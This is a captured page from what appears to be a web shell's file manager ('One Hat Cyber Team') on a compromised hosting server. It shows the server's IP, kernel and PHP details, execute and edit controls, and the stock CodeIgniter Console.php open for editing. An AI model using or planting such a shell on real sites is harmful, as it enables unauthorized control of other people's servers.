One Hat Cyber Team
Your IP :
18.222.215.20
Server IP :
162.241.123.123
Server :
Linux sh016.hostgator.in 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Server Software :
Apache
PHP Version :
8.2.25
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home1
/
saicsazq
/
portal.smhtechlabs.com
/
system
/
CLI
/
Edit File:
Console.php
<?php declare(strict_types=1); /** * This file is part of CodeIgniter 4 framework. * * (c) CodeIgniter Foundation <admin@codeigniter.com> * * For the full copyright and license information, please view * the LICENSE file that was distributed with this source code. */ namespace CodeIgniter\CLI; use CodeIgniter\CodeIgniter; use Config\App; use Config\Services; use Exception; /** * Console * * @see \CodeIgniter\CLI\ConsoleTest */ class Console { /** * Runs the current command discovered on the CLI. * * @return int|void Exit code * * @throws Exception */ public function run() { // Create CLIRequest $appConfig = config(App::class); Services::createRequest($appConfig, true); // Load Routes Services::routes()->loadRoutes(); $runner = Services::commands(); $params = array_merge(CLI::getSegments(), CLI::getOptions()); $params = $this->parseParamsForHelpOption($params); $command = array_shift($params) ?? 'list'; return $runner->run($command, $params); } /** * Displays basic information about the Console. * * @return void */ public function showHeader(bool $suppress = false) { if ($suppress) { return; } CLI::write(sprintf( 'CodeIgniter v%s Command Line Tool - Server Time: %s UTC%s', CodeIgniter::CI_VERSION, date('Y-m-d H:i:s'), date('P') ), 'green'); CLI::newLine(); } /** * Introspects the `$params` passed for presence of the * `--help` option. * * If present, it will be found as `['help' => null]`. * We'll remove that as an option from `$params` and * unshift it as argument instead. */ private function parseParamsForHelpOption(array $params): array { if (array_key_exists('help', $params)) { unset($params['help']); $params = $params === [] ? ['list'] : $params; array_unshift($params, 'help'); } return $params; } }
Simpan